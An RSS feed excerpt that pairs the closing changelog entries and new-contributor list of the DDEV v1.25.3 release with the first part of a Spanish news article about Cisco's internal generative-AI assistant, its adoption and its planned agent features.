<li>docs: skip codeberg, use stable link for docs in github workflows (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4744327319" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8528" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8528/hovercard" href="https://github.com/ddev/ddev/pull/8528">#8528</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4744327319" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8528" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8528/hovercard" href="https://github.com/ddev/ddev/pull/8528">#8528</a></li>
<li>build: remove pin for Node.js, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4557653464" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8438" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8438/hovercard" href="https://github.com/ddev/ddev/pull/8438">#8438</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4744191788" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8527" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8527/hovercard" href="https://github.com/ddev/ddev/pull/8527">#8527</a></li>
<li>fix(start): do not ask for poweroff with new ddev-ssh-agent, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4732526980" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8520" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8520/hovercard" href="https://github.com/ddev/ddev/issues/8520">#8520</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4741864016" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8525" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8525/hovercard" href="https://github.com/ddev/ddev/pull/8525">#8525</a></li>
<li>ci(podman): update workflow for Podman 6 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4741982501" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8526" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8526/hovercard" href="https://github.com/ddev/ddev/pull/8526">#8526</a></li>
<li>fix(podman): restrict keep-id userns to Linux only, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4065154991" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8223" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8223/hovercard" href="https://github.com/ddev/ddev/issues/8223">#8223</a>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4744330972" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8529" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8529/hovercard" href="https://github.com/ddev/ddev/issues/8529">#8529</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4727719482" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8516" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8516/hovercard" href="https://github.com/ddev/ddev/pull/8516">#8516</a></li>
<li>docs: Remove link to very old processwire thread (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4754222605" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8533" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8533/hovercard" href="https://github.com/ddev/ddev/pull/8533">#8533</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4754222605" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8533" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8533/hovercard" href="https://github.com/ddev/ddev/pull/8533">#8533</a></li>
<li>fix: continue when <code>#ddev-generated</code> is missing in generate config functions, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="636509327" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/2305" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/2305/hovercard" href="https://github.com/ddev/ddev/pull/2305">#2305</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753746905" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8532" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8532/hovercard" href="https://github.com/ddev/ddev/pull/8532">#8532</a></li>
<li>docs: Ignore winaero.com, cert expired [skip buildkite] (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4768471904" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8537" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8537/hovercard" href="https://github.com/ddev/ddev/pull/8537">#8537</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4768471904" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8537" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8537/hovercard" href="https://github.com/ddev/ddev/pull/8537">#8537</a></li>
<li>ci: add macOS Podman rootless Buildkite pipeline, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4065154991" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8223" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8223/hovercard" href="https://github.com/ddev/ddev/issues/8223">#8223</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4749045585" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8530" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8530/hovercard" href="https://github.com/ddev/ddev/pull/8530">#8530</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4749045585" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8530" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8530/hovercard" href="https://github.com/ddev/ddev/pull/8530">#8530</a></li>
<li>test(auth-ssh): harden ddevauthssh.expect against passphrase prompt race by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4767122944" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8536" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8536/hovercard" href="https://github.com/ddev/ddev/pull/8536">#8536</a></li>
<li>build: bump actions/cache from 5 to 6 (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4769479389" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8538" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8538/hovercard" href="https://github.com/ddev/ddev/pull/8538">#8538</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="organization" data-hovercard-url="/orgs/dependabot/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dependabot">@dependabot</a>[bot] in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4769479389" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8538" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8538/hovercard" href="https://github.com/ddev/ddev/pull/8538">#8538</a></li>
<li>fix: stop honoring XDG_CONFIG_HOME on Linux too, use DDEV_XDG_CONFIG_HOME, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4694586960" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8493" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8493/hovercard" href="https://github.com/ddev/ddev/issues/8493">#8493</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752549694" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8531" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8531/hovercard" href="https://github.com/ddev/ddev/pull/8531">#8531</a></li>
<li>fix: correct typos in global and project config comment docs (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4780672518" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8541" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8541/hovercard" href="https://github.com/ddev/ddev/pull/8541">#8541</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4780672518" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8541" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8541/hovercard" href="https://github.com/ddev/ddev/pull/8541">#8541</a></li>
<li>test: fix TestCheckForMultipleGlobalDdevDirs on Windows, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752549694" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8531" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8531/hovercard" href="https://github.com/ddev/ddev/pull/8531">#8531</a> (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785182644" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8542" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8542/hovercard" href="https://github.com/ddev/ddev/pull/8542">#8542</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785182644" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8542" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8542/hovercard" href="https://github.com/ddev/ddev/pull/8542">#8542</a></li>
<li>feat: add x-ddev.omit-ddev-labels to skip com.ddev.* label injection, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4390914107" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8389" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8389/hovercard" href="https://github.com/ddev/ddev/issues/8389">#8389</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4778206278" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8540" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8540/hovercard" href="https://github.com/ddev/ddev/pull/8540">#8540</a></li>
<li>build(docker): bump images to v1.25.3 for release, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785709464" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8544" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8544/hovercard" href="https://github.com/ddev/ddev/issues/8544">#8544</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4787726460" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8547" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8547/hovercard" href="https://github.com/ddev/ddev/pull/8547">#8547</a></li>
<li>ci(buildkite): trim podman machine and run maintenance post-test (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4795142426" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8551" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8551/hovercard" href="https://github.com/ddev/ddev/pull/8551">#8551</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4795142426" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8551" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8551/hovercard" href="https://github.com/ddev/ddev/pull/8551">#8551</a></li>
<li>docs(typo3): require Camino theme, drop empty distribution prompt (<a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4789962878" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8548" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8548/hovercard" href="https://github.com/ddev/ddev/pull/8548">#8548</a>) [skip ci] by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4789962878" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8548" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8548/hovercard" href="https://github.com/ddev/ddev/pull/8548">#8548</a></li>
<li>docs(hosting): add guidance for Let's Encrypt failures by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jonpugh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jonpugh">@jonpugh</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785496062" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8543" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8543/hovercard" href="https://github.com/ddev/ddev/pull/8543">#8543</a></li>
<li>docs(docker): add Podman and Docker rootless setup, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4549338538" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8434" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8434/hovercard" href="https://github.com/ddev/ddev/issues/8434">#8434</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4797374506" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8552" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8552/hovercard" href="https://github.com/ddev/ddev/pull/8552">#8552</a></li>
<li>ci(macos): untap pre-installed aws/tap before brew install by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4809536273" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8559" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8559/hovercard" href="https://github.com/ddev/ddev/pull/8559">#8559</a></li>
<li>docs(wsl2): use Ubuntu-26.04 instead of Ubuntu-24.04, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4276951921" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8326" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8326/hovercard" href="https://github.com/ddev/ddev/issues/8326">#8326</a>, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4436512981" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8408" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8408/hovercard" href="https://github.com/ddev/ddev/pull/8408">#8408</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4802996009" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8553" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8553/hovercard" href="https://github.com/ddev/ddev/pull/8553">#8553</a></li>
<li>fix(webserver): restore nonstandard router port in HTTP_HOST for nginx-fpm, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4806198523" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8554" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8554/hovercard" href="https://github.com/ddev/ddev/issues/8554">#8554</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4806397840" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8555" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8555/hovercard" href="https://github.com/ddev/ddev/pull/8555">#8555</a></li>
<li>fix(router): temp pin for traefik:3.6.13, for <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4820038987" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8562" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/8562/hovercard" href="https://github.com/ddev/ddev/issues/8562">#8562</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/stasadev/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/stasadev">@stasadev</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4821494411" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8564" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8564/hovercard" href="https://github.com/ddev/ddev/pull/8564">#8564</a></li>
<li>fix(shopware): pin Twig &lt;3.28 to work around admin HTTP 500 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4807420317" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8557" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8557/hovercard" href="https://github.com/ddev/ddev/pull/8557">#8557</a></li>
<li>docs: add TYPO3 special handling for <code>ddev share</code>, fixes <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="3594892063" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/7799" data-hovercard-type="issue" data-hovercard-url="/ddev/ddev/issues/7799/hovercard" href="https://github.com/ddev/ddev/issues/7799">#7799</a> by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/rfay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/rfay">@rfay</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4806999999" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8556" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8556/hovercard" href="https://github.com/ddev/ddev/pull/8556">#8556</a></li>
</ul>
<h2>New Contributors</h2>
<ul>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/silverham/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/silverham">@silverham</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4355742321" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8368" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8368/hovercard" href="https://github.com/ddev/ddev/pull/8368">#8368</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/CallMeLeon167/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/CallMeLeon167">@CallMeLeon167</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4375346339" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8384" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8384/hovercard" href="https://github.com/ddev/ddev/pull/8384">#8384</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/Mikee-3000/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/Mikee-3000">@Mikee-3000</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4372014245" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8383" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8383/hovercard" href="https://github.com/ddev/ddev/pull/8383">#8383</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/wolcen/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/wolcen">@wolcen</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4441784873" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8412" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8412/hovercard" href="https://github.com/ddev/ddev/pull/8412">#8412</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/chx/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/chx">@chx</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4494536198" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8420" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8420/hovercard" href="https://github.com/ddev/ddev/pull/8420">#8420</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/mficzel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/mficzel">@mficzel</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4733715228" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8522" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8522/hovercard" href="https://github.com/ddev/ddev/pull/8522">#8522</a></li>
<li><a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jonpugh/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jonpugh">@jonpugh</a> made their first contribution in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4785496062" data-permission-text="Title is private" data-url="https://github.com/ddev/ddev/issues/8543" data-hovercard-type="pull_request" data-hovercard-url="/ddev/ddev/pull/8543/hovercard" href="https://github.com/ddev/ddev/pull/8543">#8543</a></li>
</ul>
<p><strong>Full Changelog</strong>: <a class="commit-link" href="https://github.com/ddev/ddev/compare/v1.25.2...v1.25.3"><tt>v1.25.2...v1.25.3</tt></a></p>]]></content:encoded>
</item>
<item>
<title><![CDATA[Cisco tiene un asistente de IA interno… y sirve para todo]]></title>
<description><![CDATA[Desde la irrupción de ChatGPT, las empresas han intentado transformar el potencial de la IA generativa como asistente digital en mejoras de productividad para todas las áreas de la organización. Cisco es una de las compañías que se ha situado a la vanguardia de este esfuerzo.



La idea original ...]]></description>
<link>https://tsecurity.de/de/3643363/it-nachrichten/cisco-tiene-un-asistente-de-ia-interno-y-sirve-para-todo/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3643363/it-nachrichten/cisco-tiene-un-asistente-de-ia-interno-y-sirve-para-todo/</guid>
<pubDate>Fri, 03 Jul 2026 13:18:33 +0200</pubDate>
<category>📰 IT Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<div>
		<div class="grid grid--cols-10@md grid--cols-8@lg article-column">
					  <div class="col-12 col-10@md col-6@lg col-start-3@lg">
						<div class="article-column__content">
<section class="wp-block-bigbite-multi-title"><div class="container"></div></section>



<p>Desde la irrupción de <a href="https://www.computerworld.es/article/4028094/por-que-chatgpt-esta-arrasando-a-microsoft-copilot.html">ChatGPT</a>, las empresas han intentado transformar el potencial de la IA generativa como asistente digital en mejoras de productividad para todas las áreas de la organización. Cisco es una de las compañías que se ha situado a la vanguardia de este esfuerzo.</p>



<p>La idea original de crear un asistente interno surgió en Cisco cuando ChatGPT y otras herramientas de IA orientadas al consumidor aparecieron a finales de 2022 y principios de 2023, y la dirección de la compañía debatía si debía permitir a los empleados utilizarlas, explica Srini Namineni, director de Automatización de Cisco. “La gran pregunta era: ¿deberíamos bloquearlo?”, recuerda. “Los riesgos estaban claros cuando las personas podían introducir datos de la empresa y estos podían quedar expuestos a terceros. Tomamos una decisión deliberada: en lugar de bloquear estas herramientas, ofreceríamos una alternativa segura”.</p>



<p>Ese proyecto inicial de asistente interno de IA, lanzado a finales de 2023, también se concibió para consolidar en una única plataforma lo que podría haberse convertido en un ecosistema fragmentado de herramientas de IA, al tiempo que permitía a los empleados conectarse a múltiples modelos.</p>



<p>El asistente de IA, que originalmente integraba Azure OpenAI y Google Gemini, puede incorporar nuevos modelos en apenas un par de semanas desde que un empleado lo solicita, afirma Namineni. Desde entonces, ha evolucionado hasta convertirse en una herramienta multifuncional que combina capacidades de copiloto, asistente de programación, asistente de recursos humanos y apoyo para múltiples tareas, permitiendo a los empleados aplicar IA a una amplia variedad de actividades laborales.</p>



<p>Según la compañía, este asistente, que le ha valido a Cisco un <a href="https://www.cio.com/article/220017/us-cio-100-winners-celebrating-it-innovation-and-leadership.html" target="_blank">Premio CIO 100 2026 a la innovación y el liderazgo en TI</a>, permite a sus ingenieros ahorrar una media de seis horas semanales y al resto de empleados unas cinco horas por semana.</p>



<p>Aunque los objetivos principales del proyecto eran la seguridad y la flexibilidad, Cisco ha descubierto una tercera ventaja: con un coste mensual por usuario de unos 10 dólares, el asistente interno resulta más económico que varias soluciones de IA comerciales disponibles en el mercado, señala Namineni.</p>



<h2 class="wp-block-heading">Mitigar los riesgos de la IA</h2>



<p>La herramienta, disponible para los empleados desde 2024, contaba con más de 96.000 usuarios en el primer trimestre de 2026 y una tasa de adopción del 90%. Según encuestas internas, el 79% de los empleados considera que el asistente les ahorra tiempo, el 72% afirma que aumenta su productividad y el 71% destaca que mejora la calidad de su trabajo.</p>



<p>Por ejemplo, Cisco asegura que la herramienta ha acelerado el desarrollo de software al ayudar a los programadores a detectar pequeños errores y generar pruebas unitarias.</p>



<p>Namineni y su equipo han impulsado la adopción del asistente mediante la incorporación continua de nuevas funciones, dotándolo de más capacidades que algunas soluciones comerciales.</p>



<p>Los empleados pueden compartir entre sí instrucciones o prompts de IA a través de la plataforma y gestionar tareas de recursos humanos, como solicitar vacaciones, sin necesidad de acceder a otros servicios. El asistente también permite cargar conjuntos de datos propietarios en carpetas seguras de OneDrive para proyectos personalizados e incorpora capacidades de RAG (Retrieval Augmented Generation) como servicio, lo que facilita consultas seguras sobre documentos y metadatos internos de Cisco.</p>



<p>El proyecto se basa en una arquitectura de microservicios que permite integrar rápidamente nuevas aplicaciones de IA. Cisco presenta el asistente como un compañero de trabajo digital y visualiza un futuro en el que cada empleado disponga de un equipo virtual de agentes de IA.</p>



<h2 class="wp-block-heading">La próxima evolución</h2>



<p>Namineni prevé incorporar nuevas funcionalidades, entre ellas agentes personalizados que asistan de forma permanente a cada empleado.</p>



